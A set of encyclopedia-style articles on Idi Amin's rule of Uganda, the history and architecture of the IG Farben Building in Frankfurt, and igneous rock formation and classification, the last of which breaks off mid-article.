          Amin began recruiting members of Kakwa, Lugbara, Nubian, and other ethnic groups from the West Nile area bordering Sudan. The Nubians had been residents in Uganda since the early 20th century, having come from Sudan to serve the colonial army. In Uganda, Nubians were commonly perceived as Sudanese foreigners and erroneously referred to as Anyanya (Anyanya were southern Sudanese rebels of the First Sudanese Civil War and were not involved in Uganda). Because many ethnic groups in northern Uganda inhabit both Uganda and Sudan, allegations persist that Amin's army consisted substantially of Sudanese soldiers.


          


          Seizure of power


          


          Eventually, a rift developed between Amin and Obote, worsened by the support Amin had built within the army by recruiting from the West Nile region, his involvement in operations to support the rebellion in southern Sudan, and an attempt on Obote's life in 1969. In October 1970, Obote himself took control of the armed forces, reducing Amin from his months-old post of commander of all the armed forces to that of commander of the army.


          Having learned that Obote was planning to arrest him for misappropriating army funds, Amin seized power in a military coup on January 25, 1971, while Obote was attending a Commonwealth summit meeting in Singapore. Troops loyal to Amin sealed off Entebbe International Airport, the main artery into Uganda, and took Kampala. Soldiers surrounded Obote's residence and blocked major roads. A broadcast on Radio Uganda accused Obote's government of corruption and preferential treatment of the Lango region. Cheering crowds were reported in the streets of Kampala after the radio broadcast. Amin announced that he was a soldier, not a politician, and that the military government would remain only as a caretaker regime until new elections, which would be announced as soon as the situation was normalised. He promised to release all political prisoners.


          Amin was initially welcomed both within Uganda and by the international community. In an internal memo, the British Foreign Office described him as "a splendid type and a good football player". He gave former king and president Mutesa (who had died in exile) a state burial in April 1971, freed many political prisoners, and reiterated his promise to hold free and fair elections to return the country to democratic rule in the shortest period possible.


          


          Presidency


          


          Establishment of military rule


          On February 2, 1971, one week after the coup, Amin declared himself President of Uganda, Commander-in-Chief of the Armed Forces, Army Chief of Staff and Chief of Air Staff. He announced that he was suspending certain provisions of the constitution and soon instituted an Advisory Defence Council composed of military officers, with himself as the chairman. Amin placed military tribunals above the system of civil law, appointed soldiers to top government posts and parastatal agencies, and informed the newly inducted civilian cabinet ministers that they would be subject to military discipline. Amin renamed the presidential lodge in Kampala from Government House to "The Command Post". He disbanded the General Service Unit (GSU), an intelligence agency created by the previous government, and replaced it with the State Research Bureau (SRB). SRB headquarters at the Kampala suburb of Nakasero became the scene of torture and executions over the next several years. Other agencies used to root out political dissent included the military police and the Public Safety Unit (PSU).


          Obote took refuge in Tanzania, having been offered sanctuary there by Tanzanian President Julius Nyerere. He was soon joined by 20,000 Ugandan refugees fleeing Amin. In 1972, the exiles attempted to regain the country through a poorly organized coup attempt, without success.


          


          Persecution of ethnic and other groups


          


          Amin retaliated against the attempted invasion by Ugandan exiles in 1972 by purging the army of Obote supporters, predominantly those from the Acholi and Lango ethnic groups. In July 1971, Lango and Acholi soldiers were massacred in the Jinja and Mbarara Barracks, and by early 1972, some 5,000 Acholi and Lango soldiers, and at least twice as many civilians, had disappeared. The victims soon came to include members of other ethnic groups, religious leaders, journalists, senior bureaucrats, judges, lawyers, students and intellectuals, criminal suspects, and foreign nationals. In some cases entire villages were wiped out. In this atmosphere of violence, many other people were killed for criminal motives or simply at will. Bodies floated on the River Nile in quantities sufficient to clog the Owen Falls Hydro-Electric Dam in Jinja on at least one occasion.


          The killings, motivated by ethnic, political and financial factors, continued throughout Amin's eight-year reign. The exact number of people killed is unknown. The International Commission of Jurists estimated the death toll at no fewer than 80,000 and more likely around 300,000. An estimate compiled by exile organizations with the help of Amnesty International puts the number killed at 500,000. Among the most prominent people killed were Benedicto Kiwanuka, the former prime minister and later chief justice; Janani Luwum, the Anglican archbishop; Joseph Mubiru, the former governor of the Central Bank; Frank Kalimuzo, the vice chancellor of Makerere University; Byron Kawadwa, a prominent playwright; and two of Amin's own cabinet ministers, Erinayo Wilson Oryema and Charles Oboth Ofumbi.


          In 1977, Henry Kyemba, Amin's health minister and a former official of the first Obote regime, defected and resettled in Britain. Kyemba wrote and published A State of Blood, the first insider expos of Amin's rule.


          In August 1972, Idi Amin declared what he called an "economic war", a set of policies that included the expropriation of properties owned by Asians and Europeans. Uganda's 80,000 Asians were mostly Indians born in the country, whose ancestors had come to Uganda when the country was still a British colony. Many owned businesses, including large-scale enterprises, that formed the backbone of the Ugandan economy. On August 4, 1972, Amin issued a decree ordering the expulsion of the 60,000 Asians who were not Ugandan citizens (most of them held British passports). This was later amended to include all 80,000 Asians, with the exception of professionals, such as doctors, lawyers and teachers. A plurality of the Asians with British passports, around 30,000, emigrated to Britain. Others went to Australia, Canada, India, Sweden, and the U.S. Amin expropriated businesses and properties belonging to the Asians and handed them over to his supporters. The businesses were mismanaged, and industries collapsed from lack of maintenance. This proved disastrous for the already declining economy.


          


          International relations


          Following the expulsion of Indians in 1972, India severed diplomatic relations with Uganda. The same year, as part of his "economic war", Amin broke diplomatic ties with Britain and nationalized 85 British-owned businesses. He also expelled Israeli military advisers and turned to Muammar al-Gaddafi of Libya and the Soviet Union for support.


          In 1973, U.S. Ambassador Thomas Patrick Melady recommended that the United States reduce its presence in Uganda. Melady described Amin's regime as " racist, erratic and unpredictable, brutal, inept, bellicose, irrational, ridiculous, and militaristic". Accordingly, the United States closed its embassy in Kampala.


          In June 1976, Idi Amin allowed an Air France aeroplane hijacked by two members of the Popular Front for the Liberation of Palestine - External Operations (PFLP-EO) and two members of the German Revolutionre Zellen to land at Entebbe Airport. There, the hijackers were joined by three more. Soon after, 156 hostages who did not hold Israeli passports were released and flown to safety, while 83 Jews and Israeli citizens, as well as 20 others who refused to abandon them, continued to be held hostage. In the subsequent Israeli rescue operation, codenamed Operation Thunderbolt (popularly known as Operation Entebbe), nearly all of the hostages were freed. Three hostages died and 10 were wounded; six hijackers, 45 Ugandan soldiers, and one Israeli soldier, Yoni Netanyahu, were killed. This incident further soured Uganda's international relations, leading Britain to close its High Commission in Uganda.


          Uganda under Amin embarked on a large military build-up, which raised concerns in Kenya. Early in June 1975, Kenyan officials impounded a large convoy of Soviet-made arms en route to Uganda at the port of Mombasa. Tension between Uganda and Kenya reached its climax in February 1976 when Amin announced that he would investigate the possibility that parts of southern Sudan and western and central Kenya, up to within 32kilometres (20mi) of Nairobi, were historically a part of colonial Uganda. The Kenyan Government responded with a stern statement that Kenya would not part with "a single inch of territory". Amin backed down after the Kenyan army deployed troops and armored personnel carriers along the Kenya-Uganda border.


          


          Erratic behaviour


          As the years went on, Amin became increasingly erratic and outspoken. In 1977, after Britain had broken diplomatic relations with his regime, Amin declared he had beaten the British and conferred on himself the decoration of CBE (Conqueror of the British Empire). Radio Uganda then read out the whole of his new title: " His Excellency President for Life, Field Marshal Al Hadji Doctor Idi Amin Dada, VC, DSO, MC, CBE." In 1971, Amin and Zaire's president Mobutu Sese Seko changed the names of Lake Albert and Lake Edward to Lake Mobutu Sese Seko and Lake Idi Amin Dada, respectively. Amin became the subject of rumours and myths, including a widespread belief that he was a cannibal. Some of the unsubstantiated rumours, such as the mutilation of one of his wives, were spread and popularised by the 1980 film, Rise and Fall of Idi Amin.


          During Amin's reign, popular media outside of Uganda often portrayed Amin as an essentially comic figure. In a 1977 assessment typical of the time, Time magazine article described him as a "killer and clown, big-hearted buffoon and strutting martinet". For focusing on Amin's excessive tastes and self-aggrandizing eccentricities, the foreign media was often criticized for downplaying or excusing his murderous behaviour. Other commentators even suggested that Amin had deliberately cultivated his reputation in the foreign media as an easily-parodied buffoon in order to defuse international concern over his administration of Uganda.


          


          Deposition and exile


          By 1978, the number of Amin's close associates had shrunk significantly, and he faced increasing dissent from within Uganda. After the killings of Luwum and ministers Oryema and Oboth Ofumbi in 1977, several of Amin's ministers defected or fled to exile. Later that year, after Amin's vice president, General Mustafa Adrisi, was injured in a car accident, troops loyal to him mutinied. Amin sent troops against the mutineers, some of whom had fled across the Tanzanian border. Amin accused Tanzanian President Julius Nyerere of waging war against Uganda, ordered the invasion of Tanzanian territory, and formally annexed a section of the Kagera Region across the boundary.


          Nyerere mobilized the Tanzania People's Defence Force and counterattacked, joined by several groups of Ugandan exiles who had united as the Uganda National Liberation Army (UNLA). Amin's army retreated steadily, and despite military help from Libya's Muammar al-Gaddafi, he was forced to flee on April 11, 1979 when Kampala was captured. He escaped first to Libya and ultimately settled in Saudi Arabia.


          Amin held that Uganda needed him and never expressed remorse for the abuses of his regime. In 1989, he attempted to return to Uganda, apparently to lead an armed group organised by Colonel Juma Oris. He reached Kinshasa, Zaire (now the Democratic Republic of the Congo), before Zairian President Mobutu forced him to return to Saudi Arabia.


          


          Death


          On July 20, 2003, one of Idi Amin's wives, Madina, reported that he was in a coma and near death at King Faisal Specialist Hospital in Jeddah, Saudi Arabia. She pleaded with Ugandan President Yoweri Museveni to allow him to return to die in Uganda. Museveni replied that Amin would have to "answer for his sins the moment he was brought back." Idi Amin died in Saudi Arabia on August 16, 2003. He was buried in Ruwais Cemetery in Jeddah.


          


          Family and associates


          A polygamist, Idi Amin married at least six women, three of whom he divorced. He married his first and second wives, Malyamu and Kay, in 1966. The next year, he married Nora and then Nalongo Madina in 1972. On March 26, 1974, he announced on Radio Uganda that he had divorced Malyamu, Nora and Kay. Malyamu was arrested in Tororo on the Kenyan border in April 1974 and accused of attempting to smuggle a bolt of fabric into Kenya. She later moved to London. Kay died on August 13, 1974, reportedly from an attempted surgical abortion performed by her lover Dr. Mbalu Mukasa (who himself committed suicide). Her body was found dismembered. In August 1975, during the Organisation of African Unity (OAU) summit meeting in Kampala, Amin married Sarah Kyolaba. Sarah's boyfriend, whom she was living with before she met Amin, vanished and was never heard from again. According to The Monitor, Amin married a wife a few months before his death in 2003.


          Sources differ widely on the number of children Amin fathered; most say that he had 30 to 45. Until 2003, Taban Amin, Idi Amin's eldest son, was the leader of West Nile Bank Front (WNBF), a rebel group opposed to the government of Yoweri Museveni. In 2005, he was offered amnesty by Museveni, and in 2006, he was appointed Deputy Director General of the Internal Security Organisation. Another of Amins sons, Haji Ali Amin, ran for election as Chairman (i.e. mayor) of Njeru Town Council in 2002 but was not elected. In early 2007, the award-winning film The Last King of Scotland prompted one of his sons, Jaffar Amin, to speak out in his father's defense. Jaffar Amin said he was writing a book to counter his father's reputation.


          On August 3, 2007, Faisal Wangita, one of Amin's sons, was convicted for playing a role in a murder in London.


          Among Amin's closest associates was the British-born Bob Astles, who is considered by many to have been a malign influence, and by others as a moderating presence. Isaac Malyamungu was an instrumental affiliate and one of the more feared officers in Amin's army.
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              	Building Information
            


            
              	Name

              	IG Farben Building
            


            
              	Location

              	Frankfurt am Main
            


            
              	Country

              	Germany
            


            
              	Architect

              	Hans Poelzig
            


            
              	Client

              	IG Farben
            


            
              	Construction Start Date

              	1928
            


            
              	Completion Date

              	1930
            


            
              	Cost

              	24 Million Reichsmark
            


            
              	Structural System

              	Steel Frame with concrete floors
            


            
              	Style

              	New Objectivity
            

          


          The IG Farben Building or the Poelzig Building, was built from 1928 to 1930 as the corporate headquarters of the IG Farben conglomerate in Frankfurt am Main, Germany. It is also known as the Poelzig Ensemble or Poelzig Complex, and previously as the IG Farben Complex, and the General Creighton W. Abrams Building. A competition to design the building was won by the architect Hans Poelzig.


          On its completion, the complex was the largest office building in Europe and remained so until the 1950s. The IG Farben Building's six square wings retain a modern, spare elegance, despite its mammoth size. It is also notable for its paternoster elevators.


          The building was the headquarters for research projects relating to the development of Nazi wartime synthetic oil and rubber, and the production administration of magnesium, lubricating oil, explosives, methanol, and Zyklon B, the lethal gas used in concentration camps. After WWII, the IG Farben Building served as the headquarters for the Supreme Allied Command and became the principal location for implementing the Marshall Plan, which largely financed the post-war reconstruction of Europe. The state apparatus of the Federal German Government was devised there. The IG Farben Building served as the headquarters for the US Army's V Corps and the Northern Area Command (NACOM) until 1995. The US Army renamed the building the General Creighton W. Abrams Building in 1975.


          The US Army returned control of the IG Farben Building to the German government in 1995. It was purchased on behalf of the University of Frankfurt by the state of Hesse, which committed 25 million to the restoration. In recognition of the original architect, the University renamed the main building the Poelzig Building (Poelzig-Bau) and its ancillary buildings and surroundings the Poelzig Complex (Poelzig Ensemble). The restoration work started in March 1998, and the formal reopening as the Poelzig-Bau was celebrated on October 26, 2001. During the ceremony a plaque was unveiled at the building's entrance to commemorate the slave labour victims of the IG Farben factory at Auschwitz III and all those murdered by Zyklon B gas.


          


          History


          


          The site


          The IG Farben Building was developed on land known as the Grneburggelnde in Frankfurt's Westend District. In 1837, the property belonged to the Rothschild family. In 1864, the city's psychiatric hospital known as "Affenfelsen" or "Affenstein" (ape rock), was erected on the site. Here, Dr Heinrich Hoffman hired Alois Alzheimer to work in the hospital, where they both explored progressive methods of treating the mentally ill. The Grneburgpark was established in 1880 on the larger western part of the site.


          


          Early history


          IG Farben acquired the property in 1927 to establish its headquarters there. In the 1920s, IG Farben (full German name Interessen Gemeinschaft Farbenindustrie Aktiengesellschaft) was the world's largest drug, chemical and dye conglomerate. Frankfurt was chosen because of its centrality and its accessibility by air and land


          In August 1928, Professor Hans Poelzig won a limited competition among five selected architects, notably beating Ernst May, the then Head of Urban Design for Frankfurt.


          Work on the foundations began in late 1928, and the summer of 1929 saw construction start on the steel frame. The building was completed in 1930 after only 24 months, by employing rapid-setting concrete, new construction materials and a round-the-clock workforce. Later in 1930, the Frankfurt director of horticulture Max Bromme and the artists' group Bornimer Kreis developed designs for the 14 hectares of parkland that surrounded the building. The grounds, and the complex as a whole, were completed in 1931.


          


          Second World War
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          IG Farben subsequently became an indispensable part of the Nazi industrial base. The building was the headquarters for research projects for the development of wartime synthetic oil and rubber, as well as the production administration of magnesium, lubricating oil, explosives, methanol, and Zyklon B, the lethal gas used in concentration camps. The building was used by IG Farben for 15 years.


          During World War II, the surrounding neighbourhood was devastated, but the building itself was left largely intact (and inhabited by homeless citizens of bomb-ravaged Frankfurt). In March 1945, Allied troops occupied the area and the IG Farben Building became the American headquarters of General Dwight D. Eisenhower. Eisenhower's office was where he received many important guests; including General de Gaulle, Field Marshal Montgomery and Marshal Zhukov. It was there that he signed the Proclamation No. 2, which determined which parts of the country would be within the American zone. Eisenhower vacated the building in December 1945 but his office was still used for special occasions: the constitution of the state of Hesse was signed there, the West German Ministerprsident received his commission to compile the Grundgesetz ( German constitution) and the administration of the Wirtschaftsrat der Bizone (Economic Council of the Bizone) was also located there.


          


          Cold War
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          From 1945 to 1947, the IG Farben Building was the location of the Supreme Headquarters, Allied European Forces, and was the headquarters for the US occupation forces and Military Governor. On May 10, 1947, permanent orders to military personnel prohibited further reference to the building as the "IG Farben Building", and instead called for it to be referred to as "The Headquarters Building, European Command".


          The United States High Commissioner for Germany (HICOG) and his staff occupied the building from 1949 to 1952.


          After 1952, the building served as the European centre of the American armed forces and the headquarters of the 5th US-Corps. It later became the headquarters for the Northern Area Command until 1994. The IG Farben Building was also the headquarters of the CIA in Germany, which led to its sobriquet 'the Pentagon of Europe'. On April 16, 1975, the US army renamed the building the General Creighton W. Abrams Building. The renaming did not have full authority in law, because the US was technically leasing the building from the German government and thus was not the rightful owner.


          On May 11, 1972, the terrace area in front of the 'Casino', was the scene of a bombing by the Rote Armee Fraktion (Red Army Faction, i.e., the Baader-Meinhof Group). The building was attacked again by the same group in 1976 and 1982. Consequently, the publicly accessible adjoining park, became part of a restricted military zone which also included the military living quarters and work areas at the rear of the building.


          


          Recent years
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          Following German reunification, the US government announced plans to fully withdraw its troops from Frankfurt, Germany by 1995, at which time control of the entire site would be restored to the German Federal Government. It was suggested that the building could become the location for the European Central Bank. The British, however, competing to secure the location of the Bank in London, successfully defeated the proposal by arguing that the building had been tainted by its Nazi associations. In 1996, the state of Hesse bought the building and associated land for the University of Frankfurt. The buildings were refurbished at a cost of DM 50M (about US $26M), by the Copenhagen architect's office 'Dissing+Weitling' and were handed over to the university. The complex now houses the Westend Campus of the university, which includes the departments of Philosophy, History, Theology, Classical Philosophy, Art and Music, Modern Languages and Linguistics, Cultural and Civilization Studies, the Centre for North American Studies and the Fritz-Bauer-Institute.


          


          Renaming controversy


          The university's tenancy of the building sparked a debate regarding the name of the building. Former University President Werner Meissner had started the controversy by renaming it the "Poelzig-Ensemble" (Poelzig-Complex); to him, renaming the building would free it from associations with Nazism. Students and, in increasing numbers, members of the faculty insisted on confronting the building's history by retaining its original name, the "IG Farben Building". Meissner's successor, Rudolf Steinberg, upheld the university's decision to retain the name; however, he did not enforce a uniform nomenclature within the university's administration. After the grand opening of the building in 2001, AStA chairman Wulfila Wido Walter objected to the "misuse of Hans Poelzig" [sic] and proposed leaving the name of the main building unchanged, and calling the smaller casino building the "Poelzig Casino"; this proposal won little support. By 2004, the Poelzig-Ensemble proposal had become a moot pointthe debate was overtaken by strong political lobbying for an appropriate commemoration and memorial of remembrance: Vice President Brita Rank set up a permanent exhibition inside the building, and a memorial plaquefor the slave labourers of IG Farben and those who had perished by Zyklon B gaswas installed on the front of the building. The Senate of the University agreed on a joint initiative by the student senator of the German Green Party, David Profit, and Angelika Marx the senator of the United Services Union, to name a place on the new campus's western end after the former slave labourer Norbert Wollheim.


          Despite the renamings by the University and the American military administration, the building is still usually called the IG Farben Building by the general public. The association of the building with Nazism has been hard to shake off, partly because of the close involvement of IG Farben with the Nazi regime and partly because of the building's imposing and monumental appearance. Der Spiegel wrote of its Smell of Guilt. Only with the departure of the Americans, the subsequent renovations, and the use of the building by the university has the building's association with the third Reich in the popular consciousness receded.


          


          Future


          Behind the IG Farben Building, the state of Hessen intends to build "Europe's most modern campus" to accommodate the remaining departments of the University's old Bockenheim campus: law, business, social sciences, child development, and the arts. The new buildings will be completed in 2014. The University will then move out of the old campus in Frankfurt-Bockenheim, which was designed by Ferdinand Kramer in the 1950s and 1960s.


          


          Building
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          In 1928, IG Farben was the world's fourth largest company and its largest chemical company. Consequently, the space requirements for the building were for one of the largest office buildings ever constructed. It was designed in the New Objectivity style.


          IG Farben did not want a specifically ' Bauhaus' styled buildingit wanted:


          
            	A symbol, in iron and stone, of German commercial and scientific manpower. Baron von Schnitzler, IG Farben Director, 1930.

          


          The 250-metre long and 35-metre tall building has nine floors, but the height of the ground floor varies (4.64.2 m). This variation is reflected in the roof line which looks taller at the wings than the spine. The volume of the building is 280,000 m, constructed from 4,600tonnes of steel frame with brick infill and floors constructed of hollow blocks to provide over 55740 m of usable office space". The faade is clad with 33,000 m Stuttgart-Bad Cannstatt Travertine marble, which the windows punctuate in bands. Only at the corners are the glazed strips interrupted for emphasis. The top storey is lit from skylights rather than banded glazing and has a very low ceiling height. It forms a clear building conclusion. Until the 1950s, the building was the largest and most modern office building in Europe.
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          The IG Farben Building consists of six wings, connected by a gently curved, central corridor. This arrangement provides all of the offices with sufficient natural light and ventilation. This design approach for large complexes offers an alternative to the "hollow rectangle" schemes of the time, with their typical inner courtyards. The prototype of this form is the General Motors Building in Detroit (191721) by Albert Kahn. The building presents a very large and weighty faade to the front; however, this effect is reduced by the concave form.


          The main entrance is at the axial centre of the building, comprising a temple-like portico standing in front of the doorsa relatively common motif of administration buildings of the time. The entrance arrangement is regarded by some people as slightly pompous: the entrance and lift doors are of bronze, and the ceiling and walls of the porch are clad in bronze plate and copper friezes. The inner lobby has two curved staircases with a sheet aluminium treatment, and marble walls with a zigzag pattern. The axial centre at the rear of the building has a round glazed faade; here, the view of the buildings at the rear of the site (the "casino") is maximised by the curved walls that afford vistas to the subsidiary buildings 100 m distant, separated from the main building by parkland and a pool. During the American occupation of the building, this rotunda housed a small kiosk; later, it was used as a conference room. Nowadays, it is called the Dwight D. Eisenhower room and accommodates a caf.


          The paternoster lifts that serve the nine floors are famous, and are popular with the university students. After the recent restoration, the university has pledged to preserve them in perpetuity.


          Behind the rotunda is an oblong pool with a Nymphenskulptur (German:Nymph sculpture) at the water's edge created by Fritz Klimsch entitled "Am Wasser". Behind it stands a flat building on a hill with a terracethe casino of IG Farben, which now houses a refectory and lecture-rooms.


          


          Rumours


          A number of unconfirmed rumours concern the complex:


          
            	Hans Poelzig was not favoured by the Nazi regime and was banned by IG Farben from entering the building after its completion.


            	General Eisenhower issued orders to preserve the building during the bombardment of Frankfurt, because he intended to use it after the war as his headquarters. However, it may have been that the building was saved by its proximity to Grneburgpark with its prisoner of war camp holding captured American airmen.


            	Two or three basements are under the Poelzig building, which are sealed and flooded.


            	A tunnel connects the building with Frankfurt's main railway station; however, some sources contend that only the main building and the casino are linked, and that there is no tunnel to the station.


            	At the reflecting pool behind the building, the "Am Wasser" sculpture of a naked water nymph was moved during the American occupation. The nymph was moved to the Hoechst Chemical concern in Frankfurt/ Hoechst at the request of Mamie Eisenhower (the general's wife), who deemed it inappropriate for a military installation. The statue has since been returned to its original location.

          


          


          Text of memorial plaque


          Translated inscription from the plaque placed in front of the IG Farben Building main entrance on October 26, 2001:


          
            	This building was designed by the architect Hans Poelzig and erected in the years 1928 to 1931 as the headquarters of IG Farben Industries.

          


          
            	Between 1933 and 1945, as one of the largest chemical concerns in the world, the company put its scientific knowledge and production technologies increasingly into the service of the war preparations and warfare of the National Socialist terror regime. From 1942 to 1945 IG Farben, together with the SS, maintained the concentration camp at Buna-Monowitz beside the IG Farben factory at Auschwitz.

          


          
            	Of the ten thousand prisoners made to work for the company there, most were murdered.

          


          
            	In the National Socialist extermination camps many hundreds of thousands of people, particularly Jews, were killed by the gas Zyklon B, which was sold by an IG Farben company.

          


          
            	From 1945 the building was the seat of the American military government and the High Commissioner for Germany. On 19 September 1945 the establishment of the State of Hesse was proclaimed here. From 1952 to 1995 the building was the headquarters of the 5th Corps of US Army.

          


          
            	Aware of the history of the building, the State of Hesse acquired it in 1996 for the Johann Wolfgang Goethe University. In the future it will be used for teaching and research.

          


          
            	
              
                	"Nobody can withdraw from the history of one's people.


                	One should know that the past may not be based on forgetting


                	because otherwise it will come again and become the present."

              

            

          


          
            	
              
                	
                  
                    	 Jean Amry, 1975
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          Igneous rocks (etymology from Latin ignis, fire) are rocks formed by solidification of cooled magma (molten rock), with or without crystallization, either below the surface as intrusive ( plutonic) rocks or on the surface as extrusive ( volcanic) rocks. This magma can be derived from partial melts of pre-existing rocks in either the Earth's mantle or crust. Typically, the melting is caused by one or more of the following processes  an increase in temperature, a decrease in pressure, or a change in composition. Over 700 types of igneous rocks have been described, most of them formed beneath the surface of the Earth's crust. These have diverse properties, depending on their composition and how they were formed.


          


          Geologic significance


          Igneous rocks make up approximately ninety-five percent of the upper part of the Earth's crust, but their great abundance is hidden on the Earth's surface by a relatively thin but widespread layer of sedimentary and metamorphic rocks.


          Igneous rocks are geologically important because:


          
            	their minerals and global chemistry give information about the composition of the mantle, from which some igneous rocks are extracted, and the temperature and pressure conditions that allowed this extraction, and/or of other pre-existing rock that melted;


            	their absolute ages can be obtained from various forms of radiometric dating and thus can be compared to adjacent geological strata, allowing a time sequence of events;


            	their features are usually characteristic of a specific tectonic environment, allowing tectonic reconstitutions (see plate tectonics);


            	in some special circumstances they host important mineral deposits ( ores): for example, tungsten, tin, and uranium are commonly associated with granites, whereas ores of chromium and platinum are commonly associated with gabbros.

          


          


          Morphology and setting


          In terms of modes of occurrence, igneous rocks can be either intrusive (plutonic), extrusive ( volcanic) or hypabbysal.


          


          Intrusive igneous rocks
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          Intrusive igneous rocks are formed from magma that cools and solidifies within the earth. Surrounded by pre-existing rock (called country rock), the magma cools slowly, and as a result these rocks are coarse grained. The mineral grains in such rocks can generally be identified with the naked eye. Intrusive rocks can also be classified according to the shape and size of the intrusive body and its relation to the other formations into which it intrudes. Typical intrusive formations are batholiths, stocks, laccoliths, sills and dikes. The extrusive rocks often produce lava flows.


          The central cores of major mountain ranges consist of intrusive igneous rocks, usually granite. When exposed by erosion, these cores (called batholiths) may occupy huge areas of the Earth's surface.


          Coarse grained intrusive igneous rocks which form at depth within the earth are termed as abyssal; intrusive igneous rocks which form near the surface are termed hypabyssal.


          


          Extrusive igneous rocks
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          Extrusive igneous rocks are formed at the Earth's surface as a result of the partial melting of rocks within the mantle and crust.


          The melt, with or without suspended crystals and gas bubbles, is called magma. Magma rises because it is less dense than the rock from which it was created. When it reaches the surface, magma extruded onto the surface either beneath water or air, is called lava. Eruptions of volcanoes into air are termed subaerial whereas those occurring underneath the ocean are termed submarine. Black smokers and mid-ocean ridge basalt are examples of submarine volcanic activity.


          The volume of extrusive rock erupted annually by volcanoes varies with plate tectonic setting. Extrusive rock is produced in the following proportions:


          
            	divergent boundary: 73%


            	convergent boundary ( subduction zone): 15%


            	hotspot: 12%

          


          Magma which erupts from a volcano behaves according to its viscosity, determined by temperature, composition, and crystal content. High-temperature magma, most of which is basaltic in composition, behaves in a manner similar to thick oil and, as it cools, treacle. Long, thin basalt flows with pahoehoe surfaces are common. Intermediate composition magma such as andesite tends to form cinder cones of intermingled ash, tuff and lava, and may have viscosity similar to thick, cold molasses or even rubber when erupted. Felsic magma such as rhyolite is usually erupted at low temperature and is up to 10,000 times as viscous as basalt. Volcanoes with rhyolitic magma commonly erupt explosively, and rhyolitic lava flows typically are of limited extent and have steep margins, because the magma is so viscous.


          Felsic and intermediate magmas that erupt often do so violently, with explosions driven by release of dissolved gases  typically water but also carbon dioxide. Explosively erupted pyroclastic material is called tephra and includes tuff, agglomerate and ignimbrite. Fine volcanic ash is also erupted and forms ash tuff deposits which can often cover vast areas.


          Because lava cools and crystallizes rapidly, it is fine grained. If the cooling has been so rapid as to prevent the formation of even small crystals after extrusion, the resulting rock may be mostly glass (such as the rock obsidian). If the cooling of the lava happened slowly, the rocks would be coarse-grained.


          Because the minerals are mostly fine-grained, it is much more difficult to distinguish between the different types of extrusive igneous rocks than between different types of intrusive igneous rocks. Generally, the mineral constituents of fine-grained extrusive igneous rocks can only be determined by examination of thin sections of the rock under a microscope, so only an approximate classification can usually be made in the field.


          


          Hypabbysal igneous rocks


          Hypabbysal igneous rocks are formed at a depth in between the plutonic and volcanic rocks.


          


          Classification


          Igneous rocks are classified according to mode of occurrence, texture, mineralogy, chemical composition, and the geometry of the igneous body.


          The classification of the many types of different igneous rocks can provide us with important information about the conditions under which they formed. Two important variables used for the classification of igneous rocks are particle size, which largely depends upon the cooling history, and the mineral composition of the rock. Feldspars, quartz or feldspathoids, olivines, pyroxenes, amphiboles, and micas are all important minerals in the formation of almost all igneous rocks, and they are basic to the classification of these rocks. All other minerals present are regarded as nonessential in almost all igneous rocks and are called accessory minerals. Types of igneous rocks with other essential minerals are very rare, and these rare rocks include those with essential carbonates.


          In a simplified classification, igneous rock types are separated on the basis of the type of feldspar present, the presence or absence of quartz, and in rocks with no feldspar or quartz, the type of iron or magnesium minerals present. Rocks containing quartz (silica in composition) are silica-oversaturated. Rocks with feldspathoids are silica-undersaturated, because feldspathoids cannot coexist in a stable association with quartz.


          Igneous rocks which have crystals large enough to be seen by the naked eye are called phaneritic; those with crystals too small to be seen are called aphanitic. Generally speaking, phaneritic implies an intrusive origin; aphanitic an extrusive one.


          An igneous rock with larger, clearly discernible crystals embedded in a finer-grained matrix is termed porphyry. Porphyritic texture develops when some of the crystals grow to considerable size before the main mass of the magma crystallizes as finer-grained, uniform material.


          


          Texture


          Texture is an important criterion for the naming of volcanic rocks. The texture of volcanic rocks, including the size, shape, orientation, and distribution of mineral grains and the intergrain relationships, will determine whether the rock is termed a tuff, a pyroclastic lava or a simple lava.


          However, the texture is only a subordinate part of classifying volcanic rocks, as most often there needs to be chemical information gleaned from rocks with extremely fine-grained groundmass or from airfall tuffs, which may be formed from volcanic ash.


          Textural criteria are less critical in classifying intrusive rocks where the majority of minerals will be visible to the naked eye or at least using a hand lens, magnifying glass or microscope. Plutonic rocks tend also to be less texturally varied and less prone to gaining structural fabrics. Textural terms can be used to differentiate different intrusive phases of large plutons, for instance porphyritic margins to large intrusive bodies, porphyry stocks and subvolcanic dikes (apophyses). Mineralogical classification is used most often to classify plutonic rocks. Chemical classifications are preferred to classify volcanic rocks, with phenocryst species used as a prefix, e.g. "olivine-bearing picrite" or "orthoclase-phyric rhyolite".


          
            	see also List of rock textures and Igneous textures

          


          


          Chemical classification


          Igneous rocks can be classified according to chemical or mineralogical parameters:


          Chemical: total alkali-silica content ( TAS diagram) for volcanic rock classification used when modal or mineralogic data is unavailable:


          
            	acid igneous rocks containing a high silica content, greater than 63% SiO2 (examples granite and rhyolite)


            	intermediate igneous rocks containing between 52 - 63% SiO2 (example andesite and dacite)


            	basic igneous rocks have low silica 45 - 52% and typically high iron - magnesium content (example gabbro and basalt)


            	ultrabasic igneous rocks with less than 45% silica. (examples picrite and komatiite)


            	alkalic igneous rocks with 5 - 15% alkali (K2O + Na2O) content or with a molar ratio of alkali to silica greater than 1:6. (examples phonolite and trachyte)

          


          
            	Note: the acid-basic terminology is used more broadly in older (generally British) geological literature. In current literature felsic-mafic roughly substitutes for acid-basic.

          


          Chemical classification also extends to differentiating rocks which are chemically similar according to the TAS diagram, for instance;



          
            	Ultrapotassic; rocks containing molar K2O/Na2O >3


            	Peralkaline; rocks containing molar (K2O + Na2O)/ Al2O3 >1


            	Peraluminous; rocks containing molar (K2O + Na2O)/ Al2O3 <1

          


          An idealized mineralogy (the normative mineralogy) can be calculated from the chemical composition, and the calculation is useful for rocks too fine-grained or too altered for identification of minerals that crystallized from the melt. For instance, normative quartz classifies a rock as silica-oversaturated; an example is rhyolite. A normative feldspathoid classifies a rock as silica-undersaturated; an example is nephelinite.


          


          History of classification


          In 1902 a group of American petrographers proposed that all existing classifications of igneous rocks should be discarded and replaced by a "quantitative" classification based on chemical analysis. They showed how vague and often unscientific was much of the existing terminology and argued that as the chemical composition of an igneous rock was its most fundamental characteristic it should be elevated to prime position.


          Geological occurrence, structure, mineralogical constitution, the hitherto accepted criteria for the discrimination of rock species were relegated to the background. The completed rock analysis is first to be interpreted in terms of the rock-forming minerals which might be expected to be formed when the magma crystallizes, e.g., quartz feldspars, olivine, akermannite, feldspathoids, magnetite, corundum and so on, and the rocks are divided into groups strictly according to the relative proportion of these minerals to one another.


          


          Mineralogical classification


